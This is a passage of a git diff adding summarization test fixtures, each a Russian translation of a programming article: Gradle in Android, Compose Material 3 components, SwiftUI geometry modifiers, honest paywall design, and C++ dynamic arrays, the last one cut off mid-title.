… } } Этот код, по сути, преобразуется в классы с такими же элементами данных и соответствующими функциями. Внешние зависимости Одной из важных функций Gradle является управление зависимостями. Все, что нужно сделать, — это объявить зависимость в формате group:artifact:version (название-компании:название-библиотеки:версия), и Gradle выполнит поиск в настроенных репозиториях, например, в Maven-репозитории. Если зависимость найдется в объявленных репозиториях, она загрузится и добавится в сборку. Варианты сборки и Build Flavors Gradle позволяет объявлять варианты сборки, такие как release и debug, для различных конфигураций приложения. Например, тип сборки debug не обфусцирует Android-приложение, что приводит к более быстрой сборке. Технология Build Flavors также позволяет создавать различия на уровне приложения для каждого набора исходного кода, например, для различных версий приложения, таких как платная и бесплатная. Файлы, связанные со сборкой в Android Studio В Android Studio есть множество файлов, связанных с системой сборки Gradle. Некоторые из них никогда не следует изменять: ./gradle: файлы кэша для дистрибутива Gradle (управляются оберткой Gradle), файлы проекта и конфигурационные файлы. .idea: метаданные IDE. build.gradle.kts (в корне): объявления classpath-плагинов для всех подпроектов. gradle.properties: содержит свойства Gradle, а также временные свойства Android. gradlew.bat: загружает указанную версию Gradle и перенаправляет команды в загруженный дистрибутив Gradle (если доступно). local.properties: содержит свойства, связанные с вашим локальным компьютером. settings.gradle.kts: содержит глобальную информацию о сборке для инициализации и конфигурации Gradle. gradle/libs.version.toml: объявленные зависимости во всех подпроектах. gradle/wrapper/gradle-wrapper.jar: загружает указанный дистрибутив Gradle и запускает его. gradle/wrapper/gradle-wrapper.properties: указывает версию и место загрузки дистрибутива Gradle. subprojects: любой каталог с файлом build.gradle, включенный в settings.gradle.kts. subproject/build.gradle.kts: объявления плагинов + блоки конфигурации для подключенных плагинов + зависимости. src/* : файлы, связанные с проектом. app/proguard-rules.pro: определяет правила для управления операциями R8. Основные компоненты сборки в Android: Исходный код: код, которым вы управляете. Зависимости библиотек: внешние библиотеки, используемые в проекте. Инструменты: компиляторы, плагины и SDK. Ниже представлен упрощенный процесс того, что происходит при нажатии кнопки Run в Android Studio, с фокусом на Kotlin Android Plugin: Запускается gradlew.bat. Запускается gradle-wrapper.jar и читается gradle-wrapper.properties для проверки необходимости загрузки дистрибутива Gradle; либо производится запуск для вызова демона Gradle. Демон Gradle находит расположение JVM в .idea/gradle.xml и использует его при необходимости (передается в gradlew через Android Studio). Применяется Kotlin Android Plugin, читаются соответствующие блоки конфигурации (как показано ниже) и регистрируются связанные с ним задачи. compileOptions { + sourceCompatibility = JavaVersion.VERSION_11 + targetCompatibility = JavaVersion.VERSION_11 +} Gradle выполняет задачи и компилирует файлы проекта. Затем Android Gradle Plugin (AGP) получает выходные данные плагина и преобразует их в DEX-файлы в рамках другой зарегистрированной задачи, которую выполняет Gradle. Заключение Данная статья лишь поверхностно затрагивает инструмент сборки Gradle и то, как он интегрирован в Android Studio для сборки Android-проектов. Хотя он гораздо более многофункционален, в большинстве случаев Android-разработчикам для управления проектами достаточно знакомства с концепциями высокого уровня, подобными рассмотренным здесь. Удачи в работе! Читайте также: Отладка зависимостей в Gradle 6 рекомендаций по запуску современной кодовой базы Android с нуля Как использовать управляемые Gradle устройства с собственными девайсами Читайте нас в Telegram, VK и Дзен Перевод статьи Salma Khodaei: Understanding Gradle in Android Projects +============== diff --git a/tests/summarization/https___nuancesprog.ru_p_30546_.txt b/tests/summarization/https___nuancesprog.ru_p_30546_.txt new file mode 100644 index 0000000..f551505 --- /dev/null +++ b/tests/summarization/https___nuancesprog.ru_p_30546_.txt @@ -0,0 +1,163 @@ +Jetpack Compose Material 3 предлагает богатый набор UI-компонентов. Но помимо Button, TextField и Card существует множество менее известных компонентов, которые помогут сэкономить время и обеспечить лучший пользовательский опыт. В этой статье рассмотрим некоторые из них и узнаем, когда и как их использовать. Примечание: примеры в этой статье должны работать во всех версиях Compose Material 3: продакшен-версии (1.3.2), бета (1.4.0-beta02) и альфа (1.5.0-alpha04), так как API не менялся. Реклама 1. TriStateCheckbox Обычный флажок (чекбокс) поддерживает два состояния: включено и выключено. TriStateCheckbox добавляет третье состояние: неопределенное. Оно используется в ситуации, когда что-то не полностью отмечено и не полностью снято. В документации по TriStateCheckbox есть изображение (см. ниже), которое показывает все три состояния. Источник: https://developer.android.com/images/reference/androidx/compose/material3/indeterminate-checkbox.png Для чего нужен этот компонент? В основном он предназначен для использования в качестве родительского флажка, который отображает состояние всех дочерних флажков: Когда все дочерние флажки сняты → родительский TriStateCheckbox находится в состоянии «выключено». Когда дочерние флажки отмечены не все (часть снята) → родительский TriStateCheckbox переходит в неопределенное состояние (ни отмечено, ни снято). Когда все дочерние флажки отмечены → родительский TriStateCheckbox находится в состоянии «включено». Пример трех состояний TriStateCheckbox Вот как мы можем реализовать описанный выше выбор. Еще одна важная особенность заключается в том, что щелчок по TriStateCheckbox изменяет состояние всех дочерних флажков. @Composable private fun TriStateCheckboxSample() { var childStates by remember { mutableStateOf(List(5) { false }) } // Определение родительского состояния val parentState = when { childStates.all { it } -> ToggleableState.On childStates.none { it } -> ToggleableState.Off else -> ToggleableState.Indeterminate } Column(Modifier.padding(16.dp)) { // Родительский чекбокс Row(verticalAlignment = Alignment.CenterVertically) { TriStateCheckbox( state = parentState, onClick = { val newState = parentState != ToggleableState.On childStates = List(childStates.size) { newState } } ) Text("Options") } Spacer(Modifier.height(8.dp)) // Дочерние чекбоксы childStates.forEachIndexed { index, checked -> Row(verticalAlignment = Alignment.CenterVertically, modifier = Modifier.padding(horizontal = 16.dp)) { Checkbox( checked = checked, onCheckedChange = { newValue -> childStates = childStates.toMutableList().apply { this[index] = newValue } } ) Text("Option ${index + 1}") } } } } Вот как это выглядит в действии: Видео, демонстрирующее работу TriStateCheckbox Забавный факт: composable-функция Checkbox является оберткой для composable TriStateCheckbox, при этом игнорируется третье, неопределенное состояние. 2. SegmentedButton SegmentedButton — это компонент, который позволяет выбрать от двух до пяти вариантов. Она может содержать значки, текст или и то, и другое. Существует два варианта SegmentedButton: с одиночным или множественным выбором. Они реализуются как разные компоненты. SegmentedButton с одиночным выбором SegmentedButton с одиночным выбором реализуется в виде composable SingleChoiceSegmentedButtonRow, к которой можно добавить несколько SegmentedButton. Может использоваться значок по умолчанию (галочка), также доступен вариант предоставления собственного значка. Пример SegmentedButton с одиночным выбором Пример реализации двух SegmentedButton, показанных выше: var selectedIndex by remember { mutableIntStateOf(0) } +SingleChoiceSegmentedButtonRow( + modifier = Modifier.fillMaxWidth() +) { + (0..2).forEach { index -> + SegmentedButton( + selected = selectedIndex == index, + onClick = { selectedIndex = index }, + shape = SegmentedButtonDefaults.itemShape(index, 3), + ) { + Text("Option ${index + 1}") + } + } +} + +Text( + text = "Selected Option: ${selectedIndex + 1}", + style = MaterialTheme.typography.bodySmall +) + +Spacer(Modifier.height(16.dp)) + +var selectedIndex1 by remember { mutableIntStateOf(0) } +SingleChoiceSegmentedButtonRow( + modifier = Modifier.fillMaxWidth() +) { + (0..4).forEach { index -> + SegmentedButton( + selected = selectedIndex1 == index, + onClick = { selectedIndex1 = index }, + shape = SegmentedButtonDefaults.itemShape(index, 5), + icon = { + SegmentedButtonDefaults.Icon(selectedIndex1 == index, activeContent = { + Icon(Icons.Default.Favorite, null) + }) + } + ) { + Text("${index + 1}") + } + } +} + +Text( + text = "Selected Option: ${selectedIndex1 + 1}", + style = MaterialTheme.typography.bodySmall +) Вот как это выглядит в действии: Пример использования SegmentedButton с одиночным выбором SegmentedButton с множественным выбором SegmentedButton с множественным выбором реализуется в виде composable MultiChoiceSegmentedButtonRow, к которой можно добавить несколько SegmentedButton. Реализация аналогична SingleChoiceSegmentedButtonRow, с некоторыми незначительными отличиями в API, позволяющими одновременно отмечать несколько кнопок. Пример SegmentedButton с множественным выбором Вот пример реализации двух SegmentedButton, показанных выше. val selectedOptions = remember { mutableStateListOf() } +MultiChoiceSegmentedButtonRow( + modifier = Modifier.fillMaxWidth() +) { + (0..4).forEach { index -> + SegmentedButton( + checked = index in selectedOptions, + onCheckedChange = { + if (index in selectedOptions) selectedOptions.remove(index) else selectedOptions.add( + index + ) + }, + shape = SegmentedButtonDefaults.itemShape(index, 5), + ) { + Text("${index + 1}") + } + } +} + +Text( + text = "Selected Options: ${selectedOptions.map { it + 1 }.joinToString()}", + style = MaterialTheme.typography.bodySmall +) Вот как это выглядит в действии. Пример использования SegmentedButton с множественным выбором 3. RangeSlider RangeSlider (диапазонный слайдер) основан на концепции обычного слайдера, но с ключевым отличием: он позволяет пользователю выбрать два значения. Эти два значения образуют диапазон, где одно значение представляет минимум, а другое — максимум. Пример, где можно использовать RangeSlider — фильтрация по цене, позволяющая пользователю выбрать ценовой диапазон и показывающая результаты, которые ему соответствуют. Пример RangeSlider Приведем краткий пример использования RangeSlider. API похож на API обычного Slider. Нужно передать выбранный диапазон значений, допустимый диапазон, определяющий минимальное и максимальное значение, и количество шагов. В этом примере у нас диапазон от 1 до 100 с 9 шагами (плюс один, который всегда присутствует); это означает, что каждый шаг представляет значение 10. @OptIn(ExperimentalMaterial3Api::class) +@Composable +private fun RangeSliderExample() { + var selectedValue by remember { mutableStateOf(0f..100f) } + + Column { + Text( + text = "Selected range: ${selectedValue.start.toInt()} - ${selectedValue.endInclusive.toInt()}", + style = MaterialTheme.typography.bodyLarge + ) + + RangeSlider( + value = selectedValue, + onValueChange = { newRange -> selectedValue = newRange }, + valueRange = 1f..100f, + steps = 9, + modifier = Modifier.fillMaxWidth() + ) + } +} Можно перетаскивать каждый бегунок, чтобы изменить выбранный диапазон. Два бегунка не могут пересекаться друг с другом. Пример использования RangeSlider 4. Badge Бейдж (Badge) представляет собой уведомление и предназначен для привлечения внимания к элементу, информируя пользователя о наличии ожидающих запросов или действий. Он также может отображать определенное количество ожидающих запросов или короткий текст. Обычно используется в нижней панели навигации на одном из навигационных элементов. Источник: https://developer.android.com/images/reference/androidx/compose/material3/badge.png BadgedBox — это компонент, оборачивающий элемент, к которому мы хотим прикрепить бейдж. Он принимает две composable-функции в качестве входных аргументов: одну для содержимого и одну для бейджа. Затем он закрепляет бейдж в правом верхнем углу содержимого. Badge также можно настраивать, применяя различные фоны и цвета текста. @Composable +private fun BadgeExample() { + Row( + horizontalArrangement = Arrangement.spacedBy(16.dp), + modifier = Modifier + ) { + BadgedBox( + badge = { + Badge { + Text("5") + } + } + ) { + Icon( + imageVector = Icons.Default.Email, + contentDescription = "Messages", + modifier = Modifier.padding(8.dp) + ) + } + + BadgedBox( + badge = { + Badge( + containerColor = Color.Gray, + contentColor = Color.Yellow + ) { + Text(500.toString()) + } + } + ) { + Text("Inbox", modifier = Modifier.padding(8.dp)) + } + } + + // Пример навигационной панели + NavigationBar { + NavigationBarItem( + icon = { + Icon(Icons.Filled.Home, contentDescription = "Home") + }, + selected = true, + onClick = {} + ) + + NavigationBarItem( + icon = { + BadgedBox( + badge = { + Badge() + } + ) { + Icon(Icons.AutoMirrored.Filled.List, contentDescription = "List") + } + }, + selected = false, + onClick = {} + ) + + NavigationBarItem( + icon = { + BadgedBox( + badge = { + Badge() + { + Text(3.toString()) + } + } + ) { + Icon(Icons.Filled.Person, contentDescription = "Profile") + } + }, + selected = false, + onClick = {} + ) + } +} Приведенный пример показывает бейдж над значком, кастомизированный бейдж над текстом и бейджи внутри панели навигации. Примеры использования Badge и BadgedBox 5. Tooltip Более подробную информацию о компоненте Tooltip вы можете найти в отдельной статье. Заключение Мы подробно рассмотрели некоторые из менее известных компонентов Compose Material 3. Теперь можете уверенно добавлять эти незаслуженно обойденные вниманием компоненты в свой набор инструментов Compose, чтобы ваши приложения стали более проработанными и интерактивными. Читайте также: Оптимизация кэширования в TrendNow: объединение OkHttp Cache и базы данных Room. Часть 7 Роль Fragments в современной разработке приложений для Android Автоматизация скриншот-тестирования предварительных просмотров Compose с использованием отражения Читайте нас в Telegram, VK и Дзен Перевод статьи Domen Lanišnik: Exploring 5 Lesser-Known Compose Components +============== diff --git a/tests/summarization/https___nuancesprog.ru_p_30828_.txt b/tests/summarization/https___nuancesprog.ru_p_30828_.txt new file mode 100644 index 0000000..57f6759 --- /dev/null +++ b/tests/summarization/https___nuancesprog.ru_p_30828_.txt @@ -0,0 +1,65 @@ +При создании представлений SwiftUI, которые должны адаптироваться к размерам контейнера, многие разработчики обращаются к GeometryReader. Это стандартное решение, но оно имеет свои издержки: влияя на иерархию представлений, может усложнить логику макета. В этой статье я покажу, как создать правильный модификатор с помощью onGeometryChange и contentMargins — двух мощных API iOS 17+, которые позволяют отслеживать изменения геометрии без обертывания представлений в GeometryReader. Примечание: onGeometryChange вышел с iOS 17 SDK, но был портирован на iOS 16. Проблема: скрытые затраты GeometryReader Допустим, вам надо центрировать контент по горизонтали с ограничением максимальной ширины. Это распространенная задача для макетов iPad или дизайнов для широких экранов. Традиционный подход выглядит примерно так: var body: some View { + GeometryReader { geometry in + ScrollView { + LazyVStack { + // Контент + } + .frame(maxWidth: 768) + } + .contentMargins( + .horizontal, + max(0, (geometry.size.width - 768) / 2), + for: .scrollContent + ) + } +} Это работает, но GeometryReader имеет несколько недостатков: влияет на компоновку: занимает все доступное пространство, что может нарушить иерархию представлений; приводит к многословности: требуется оборачивать всю структуру представлений; не подлежит переиспользованию: этот паттерн приходится повторять во множестве представлений. Решение: правильный ViewModifier Вместо оборачивания представлений в GeometryReader, можно создать переиспользуемый модификатор, который применяет onGeometryChange для отслеживания изменений размера без влияния на компоновку. Вот как это сделать: import SwiftUI + +struct MaxWidthContentMargins: ViewModifier { + @State private var containerWidth: CGFloat = 0 + + func body(content: Content) -> some View { + content + .onGeometryChange( + for: CGFloat.self, + of: { geometry in + geometry.size.width + } + ) { width in + containerWidth = width + } + .contentMargins( + .horizontal, + max(0, (containerWidth - .editorMaxColumnWidth) / 2), + for: .scrollContent + ) + } +} + +extension View { + func maxWidthContentMargins() -> some View { + modifier(MaxWidthContentMargins()) + } +} + Как это работает 1. onGeometryChange: отслеживание без влияния Модификатор onGeometryChange позволяет отслеживать изменения геометрии без обертывания представления в GeometryReader. Он имеет три параметра: for: тип отслеживаемого значения (в данном случае CGFloat для ширины); of: замыкание, которое извлекает значение из GeometryProxy; action: замыкание, которое выполняется при изменении геометрии. .onGeometryChange( + for: CGFloat.self, + of: { geometry in + geometry.size.width + } +) { width in + containerWidth = width +} Вот ключевое отличие: onGeometryChange отслеживает геометрию, не влияя на иерархию представлений. Ваши представления остаются чистыми и неизмененными. 2. contentMargins: точное позиционирование контента Модификатор contentMargins позволяет регулировать отступы вокруг прокручиваемого контента, не затрагивая индикаторы прокрутки. Это идеально подходит для центрирования контента при сохранении индикаторов прокрутки у краев экрана. При этом чистое пространство, которое стало отступами, остается прокручиваемым и интерактивным. .contentMargins( + .horizontal, + max(0, (containerWidth - .editorMaxColumnWidth) / 2), + for: .scrollContent +) Данное вычисление max(0, (containerWidth — .editorMaxColumnWidth) / 2) обеспечивает: на широких экранах: центрирование Content с равными отступами с обеих сторон; на узких экранах: отсутствие дополнительных отступов (функция max(0, …) предотвращает появление отрицательных значений) Применение модификатора Теперь применение модификатора становится предельно простым: struct LibraryView: View { + var body: some View { + ScrollView { + LazyVStack { + // Контент + } + .frame(maxWidth: .editorMaxColumnWidth) + } + .maxWidthContentMargins() + } +} Никаких оберток GeometryReader. Никаких повторяющихся геометрических вычислений. Всего лишь чистый, декларативный модификатор. Читайте также: Как вернуть контроль над состоянием данных с RemoteResult Apple убивает Swift 7 лучших ресурсов для iOS-разработчиков в 2025 году Читайте нас в Telegram, VK и Дзен Перевод статьи Thomas Ricouard: Beyond GeometryReader: Building Better SwiftUI Modifiers with onGeometryChange +============== diff --git a/tests/summarization/https___nuancesprog.ru_p_30941_.txt b/tests/summarization/https___nuancesprog.ru_p_30941_.txt new file mode 100644 index 0000000..62a3da1 --- /dev/null +++ b/tests/summarization/https___nuancesprog.ru_p_30941_.txt @@ -0,0 +1,2 @@ +Никого не радует платный доступ (paywall). Это верно. Но также верны две другие прямо противоположные истины: если вы разрабатываете приложение, то рассчитываете на доход; но если ваша единственная стратегия монетизации — краткая запись в настройках «please pay us» («оплатите услуги, пожалуйста»), ваш доход будет равен нулю. Поэтому вместо размышлений над вопросом «Стоит ли устанавливать платный доступ?», подумаем над тем, как создать такой платный доступ, чтобы пользователи не удаляли ваше приложение. Дилемма: конверсия или совесть? Конверсия — один из самых сложных аспектов любого процесса разработки программного обеспечения. У него две грани: с одной стороны, разработчикам нужны доходы, чтобы поддерживать работу компании, с другой — мы работаем в экономике, где инвесторы ожидают роста. В совокупности это означает, что мы должны не только приносить доход, но и постоянно его увеличивать. Новые функции не всегда привлекают пользователей, поэтому нет прямой связи между усилиями разработчиков и численностью активной аудитории. А новые пользователи не всегда платят, поэтому нет прямой связи между их количеством и конверсией. Судя по моему опыту, всегда есть искушение приложить больше усилий для достижения конверсии. В недавней беседе коллега-разработчик упомянул об инвестируемом проекте, одной из целью которого является достижение конверсии в 8% (скажем, 800 платящих клиентов из 10 000 загрузок) за шесть месяцев. Представьте себя на месте этого разработчика: прошло пять месяцев, вы выполнили и перевыполнили план по загрузкам — но конверсия составляет 5%. Что делать? С одной стороны, есть долгосрочные аргументы в пользу справедливости. Сарафанное радио, отзывы, удержание клиентов — все это по-прежнему имеет значение. Пользователь, который отменяет подписку через месяц и оставляет отзыв с одной звездой, — это маркетинговая проблема для следующих тысячи потенциальных пользователей. Но вот в чем дело: платная подписка, которая конвертирует 100% пользователей в платных подписчиков (а затем теряет их), выглядит лучше на дэшборде, чем та, которая конвертирует 20%, но сохраняет их лояльность. Именно здесь и таится искушение. Темные паттерны: чего не следует делать Привычная ситуация в современных приложениях Мы можем наблюдать за этим в режиме реального времени. Пользователи Duolingo жалуются на необходимость платить за «восстановление» прерванных серий; сообщество Spotify полно сообщений с жалобами на навязчивые всплывающие окна с предложением подписки Duo, даже после неоднократных его отклонений. К сожалению, подобные тактики работают — иначе эти компании бы прекратили их использовать. Данные Duolingo подтверждают это: A/B-тестирование показывает, что эти тактики увеличивают конверсию. Поэтому, когда вы видите конверсию в 5% и знаете, что баннер «предложение с ограниченным сроком действия» поднимет ее намного выше поставленной цели в 8%… легко найти себе оправдание. Только в этот раз. Только небольшой толчок. Проблема в том, что решение «только в этот раз» — первый шаг по кривой дорожке. Это самооправдание, что использовать подобные тактики, часто называемые «темными паттернами» (или «обманчивыми паттернами разработки»), допустимо. Википедия определяет такую технику как «пользовательский интерфейс, тщательно разработанный, чтобы обманом заставить пользователей делать определенные вещи». Вы знакомы с ней, даже если никогда не слышали этого термина; она сродни таким манипуляциям, как написание «Я хочу получать рекламные рассылки по электронной почте» мелким шрифтом с уже отмеченным по умолчанию чекбоксом или простое предупреждение «Осталось 2 штуки — купите сейчас, или они исчезнут навсегда!». Как бы я ни любил Spotify, помню, что отклонял ее предложения о подписке Duo более десятка раз. Платформа Duolingo испортила свою репутацию из-за использования виртуальной валюты Gems (кристаллы) в качестве «геймификации», социального давления (вы «подводите кого-то», не проявляя активности) и переноса функций (например, Practice Hub) на более высокий платежный уровень. Все это можно считать темными паттернами. Spotify и Duolingo не всегда были такими. Они тоже прошли через этап «только один раз» — и спустя годы мы буквально расплачиваемся за это. Итак, вы не хотите использовать темные паттерны, но понимаете, что конверсия — это неизбежное зло. Возникает логичный вопрос: как справедливо разработать платный доступ? Архитектура справедливости: что скрывается за платной подпиской? Первое, что вам нужно определить, — что будет скрываться за платной подпиской? Бесплатная версия приложения должна быть полноценной; она не должна быть урезанной демо-версией того, что можно получить, оплатив премиум-подписку. Я твердо убежден, что все основные функции приложения должны быть бесплатными и не должны искусственно ограничиваться. Есть две практические альтернативы искусственного ограничения основных функций приложения, которые помогут создать привлекательный премиум-уровень. Первая — создать привлекательные функции, решающие реальные проблемы, но находящиеся за пределами основного набора функций. Вторая — создать приятные дополнения, не являющиеся частью основного рабочего процесса. В API Canvas, моем первом проекте #buildinpublic, я с самого начала принял решение не ограничивать количество запросов, отображаемых в истории, для бесплатного и премиального тарифных планов. Если бы я ограничил их, скажем, 10 записями в истории для бесплатного тарифа и 1000 для премиум-тарифа, это создало бы искусственное ограничение и ухудшило бы пользовательский опыт. Однако одной из функций, более ориентированных на опытных пользователей, является возможность экспортировать запрос API в JSON или другое приложение. Это явно выходит за рамки основного набора функций приложения, но, безусловно, побудит некоторых из этих опытных пользователей перейти на премиум-версию. Я также видел приложения, в которых в качестве премиум-функций реализованы такие возможности, как выбор альтернативного значка приложения или настройка цветов приложения, что является новой идеей. Как только вы узнаете, что включает платный допуск, у вас автоматически появится ответ на следующий вопрос: когда показывать платный допуск? По мере использования и тестирования программного обеспечения (приложения или другого) у вас должно сложиться интуитивное понимание, в каких случаях пользователю потребуется премиум-уровень. Примерами могут быть нажатие кнопки, открывающей функцию, доступную только в премиум-версии, или переход на страницу настроек, которая управляет параметрами, доступными только по подписке. Именно в этих случаях следует предлагать свои продукты. Другими словами, платный доступ не должен сообщать «вы достигли лимита» — он должен указывать «вы готовы к большему». Меню в API Canvas, позволяющее экспортировать коллекцию или запрос в JSON, на отображается как « Экспорт в…» для пользователей, находящихся на бесплатном уровне. Это сразу указывает на премиум-статус функции. Нажатие на нее ведет к предложению о подписке, а после обновления тарифа функция отображается как « Экспортировать в…». Если разделить пользователей на категории: 1) те, кому функция не нужна; 2) те, кому она нужна, но только бесплатно; 3) те, кто готов за нее заплатить, — платный доступ увидят только пользователи из третьей группы. Таким образом, эффективный и уважительный платный доступ — это не барьер, а контекстное предложение, которое появляется в момент, когда пользователь уже проявил интерес к расширенным возможностям. Что видят пользователи на разных уровнях API Canvas Это подводит ко второму вопросу: как создать такой дизайн платного доступа, который приведет к конверсии? Дизайн платного доступа: принципы вместо манипуляций Я был очень тщательно подходил к процессу проектирования платного доступа для API Canvas. Для начала изучил примеры платного доступа и поставил себя на место пользователя, чтобы спросить: «Что бы мне не хотелось видеть в платном доступе?» К счастью, примеров более чем достаточно: сайт Paywall Screens полностью посвящен этому и даже указывает примерный доход приложения при показе его платного доступа. Изучив платный доступ для всех приложений — от KitchenPal до Grammarly, — я решил, что он должен соответствовать пяти ключевым принципам: Прозрачное ценообразование. Все должно быть понятно, написано читаемым шрифтом и с правильно выбранным контрастом. Это гарантирует, что пользователи поймут, какой тариф им подходит. Позитивное представление ценности. Нужно показать пользователю, что он получает, а не что упускает. Формулировка « Коллекции и их организация» воспринимается лучше, чем « Коллекции (не входят в бесплатный тариф!)». Это особенно важно, когда разные подписки включают разные функции. Беспроблемное закрытие. Когда пользователь закрывает платный доступ, он должен закрываться — без сообщений «Подождите, вы упускаете возможность!» или попыток заставить передумать. Однако, если пользователь снова обратится к премиум-функции, платный доступ нужно показать снова. Информативная визуальная иерархия. Текст, цены и геометрия страницы должны быть организованы для информирования пользователя, а не для манипуляций. Можно выделять выгодные предложения (например, «Экономия 10%»), но недопустимо делать их в 3 раза крупнее других, чтобы пользователь выбрал то, что нужно вам. Эстетичный вид. В конечном счете вам надо, чтобы поведение пользователя повлияло на вашу конверсию. Как трейлер к фильму, платный доступ в приложении — это предложение потратить деньги; он должен быть профессиональным и привлекательным. Платный доступ в API Canvas. Все просто и понятно Заключение: это возможно и того стоит Платный доступ — одна из самых спорных концепций в дизайне, и легко понять почему. Граница между «я хочу получить вознаграждение за свой труд» и «проще всего достичь целевых показателей конверсии с помощью фальшивого таймера обратного отсчета» гораздо тоньше, чем кажется на первый взгляд. Но платный доступ не обязательно должен быть «злом». Если при его разработке основной целью ставить уважительное и справедливое отношение к пользователю, вы все равно будете превращать пользователей в платящих клиентов, а в долгосрочной перспективе заработаете их лояльность и хорошую репутацию. Я очень доволен тем, как у меня получился платный доступ в API Canvas, — настолько доволен, что готов дать обязательство: платные доступы, которые я проектирую, будут честными и уважительными к пользователям, даже когда метрики конверсии будут склонять к обратному. Потому что усвоил, что пользователи помнят, кто их уважает, — а это важнее, чем временный рост конверсии на 3%. Читайте также: Как искать работу программисту 4 причины, почему агенты ИИ не заменят программистов Как ошибка программиста может в одночасье превратить жизнь в ад Читайте нас в Telegram, VK и Дзен Перевод статьи Eric Kumlin: I Built a Paywall I Don’t Hate — Here’s How +============== diff --git a/tests/summarization/https___nuancesprog.ru_p_31317_.txt b/tests/summarization/https___nuancesprog.ru_p_31317_.txt new file mode 100644 index 0000000..7da8010 --- /dev/null +++ b/tests/summarization/https___nuancesprog.ru_p_31317_.txt @@ -0,0 +1,2 @@ +Динамические массивы  —  основа многих приложений на C++, это гибкое хранилище, которое расширяется вместе с данными. Изучим принцип работы этих массивов, как они создаются и когда используются в реальных сценариях. Создание простого динамического массива Вот базовая реализация с основными концепциями: template class DynamicArray { private: T* data_; size_t size_; size_t capacity_; void resize(size_t new_capacity) { T* new_data = new T[new_capacity]; for (size_t i = 0; i < size_; ++i) { new_data[i] = std::move(data_[i]); } delete[] data_; data_ = new_data; capacity_ = new_capacity; } public: DynamicArray() : data_(new T[2]), size_(0), capacity_(2) {} ~DynamicArray() { delete[] data_; } void push_back(const T& value) { if (size_ == capacity_) { resize(capacity_ * 2); } data_[size_++] = value; } T& operator[](size_t index) { if (index >= size_) { throw std::out_of_range("Index out of bounds"); } return data_[index]; } size_t size() const { return size_; } size_t capacity() const { return capacity_; } }; Реальный пример: логгер событий Вот практическое применение динамического массива: struct LogEntry { std::string timestamp; std::string message; std::string severity; LogEntry(std::string ts, std::string msg, std::string sev) : timestamp(std::move(ts)), message(std::move(msg)), severity(std::move(sev)) {} }; class EventLogger { private: DynamicArray logs; public: void log(const std::string& message, const std::string& severity) { auto now = std::chrono::system_clock::now(); auto time = std::chrono::system_clock::to_time_t(now); std::string timestamp = std::ctime(&time); timestamp.pop_back(); // Удаляется символ новой строки logs.push_back(LogEntry(timestamp, message, severity)); } void dump_logs() const { for (size_t i = 0; i < logs.size(); ++i) { std::cout << logs[i].timestamp << " [" << logs[i].severity << "] " << logs[i].message << "\n"; } } }; Добавление важного функционала Расширим функционал динамического массива: template class DynamicArray { // ... предыдущий код ... public: // Конструктор копирования DynamicArray(const DynamicArray& other) : data_(new T[other.capacity_]), size_(other.size_), capacity_(other.capacity_) { for (size_t i = 0; i < size_; ++i) { data_[i] = other.data_[i]; } } // Конструктор перемещения DynamicArray(DynamicArray&& other) noexcept : data_(other.data_), size_(other.size_), capacity_(other.capacity_) { other.data_ = nullptr; other.size_ = other.capacity_ = 0; } // Оператор присваивания DynamicArray& operator=(const DynamicArray& other) { if (this != &other) { delete[] data_; data_ = new T[other.capacity_]; size_ = other.size_; capacity_ = other.capacity_; for (size_t i = 0; i < size_; ++i) { data_[i] = other.data_[i]; } } return *this; } void pop_back() { if (size_ > 0) { --size_; } } void clear() { size_ = 0; } bool empty() const { return size_ == 0; } T& front() { if (empty()) { throw std::out_of_range("Array is empty"); } return data_[0]; } T& back() { if (empty()) { throw std::out_of_range("Array is empty"); } return data_[size_ - 1]; } }; Динамические массивы в очереди задач Вот практический пример использования динамических массивов в системе планирования задач: class Task { public: std::function function; int priority; std::string name; Task(std::function f, int p, std::string n) : function(std::move(f)), priority(p), name(std::move(n)) {} }; class TaskQueue { private: DynamicArray tasks; public: void add_task(std::function func, int priority, const std::string& name) { tasks.push_back(Task(std::move(func), priority, name)); // Выполняется сортировка по приоритету в порядке убывания for (size_t i = tasks.size() - 1; i > 0; --i) { if (tasks[i].priority > tasks[i-1].priority) { std::swap(tasks[i], tasks[i-1]); } else { break; } } } void execute_all() { while (!tasks.empty()) { tasks.front().function(); tasks.pop_back(); } } void show_queue() const { for (size_t i = 0; i < tasks.size(); ++i) { std::cout << "Task: " << tasks[i].name << " (Priority: " << tasks[i].priority << ")\n"; } } }; Управление памятью и производительность Вот как оптимизируется производительность динамического массива: template class DynamicArray { // ... предыдущий код ... public: void reserve(size_t new_capacity) { if (new_capacity > capacity_) { resize(new_capacity); } } void shrink_to_fit() { if (capacity_ > size_) { resize(size_); } } // Эффективная вставка в любой позиции void insert(size_t index, const T& value) { if (index > size_) { throw std::out_of_range("Invalid insertion index"); } if (size_ == capacity_) { resize(capacity_ * 2); } for (size_t i = size_; i > index; --i) { data_[i] = std::move(data_[i-1]); } data_[index] = value; ++size_; } // Эффективное удаление в любой позиции void erase(size_t index) { if (index >= size_) { throw std::out_of_range("Invalid erasure index"); } for (size_t i = index; i < size_ - 1; ++i) { data_[i] = std::move(data_[i+1]); } --size_; } }; Реальное применение: буфер обработки изображений Вот как динамические массивы используются при обработке изображений: struct Pixel { uint8_t r, g, b; Pixel(uint8_t r = 0, uint8_t g = 0, uint8_t b = 0) : r(r), g(g), b(b) {} }; class ImageBuffer { private: DynamicArray pixels; size_t width_; size_t height_; public: ImageBuffer(size_t width, size_t height) : width_(width), height_(height) { pixels.reserve(width * height); for (size_t i = 0; i < width * height; ++i) { pixels.push_back(Pixel()); } } void set_pixel(size_t x, size_t y, const Pixel& p) { if (x >= width_ || y >= height_) { throw std::out_of_range("Pixel coordinates out of bounds"); } pixels[y * width_ + x] = p; } Pixel& get_pixel(size_t x, size_t y) { if (x >= width_ || y >= height_) { throw std::out_of_range("Pixel coordinates out of bounds"); } return pixels[y * width_ + x]; } void apply_grayscale() { for (size_t i = 0; i < pixels.size(); ++i) { uint8_t gray = static_cast( (pixels[i].r + pixels[i].g + pixels[i].b) / 3); pixels[i].r = pixels[i].g = pixels[i].b = gray; } } }; Этими реализациями демонстрируется, что динамические массивы  —  это основа многих реальных приложений. Не забывайте бережно относиться к памяти и при выборе между пользовательским динамическим массивом и std::vector учитывать конкретный сценарий. Хотя vector стандартной библиотеки хорошо протестирован и оптимизирован для большинства случаев, благодаря пониманию принципов работы динамических массивов принимаются более взвешенные решения относительно того, когда использовать каждый из вариантов. Читайте также: Как проходится ассоциативный массив на C++ C++: полное руководство по циклам while Механика разрешения имен и связывания на C++ Читайте нас в Telegram, VK и Дзен Перевод статьи ryan: Dynamic Arrays in C++: Comprehensive 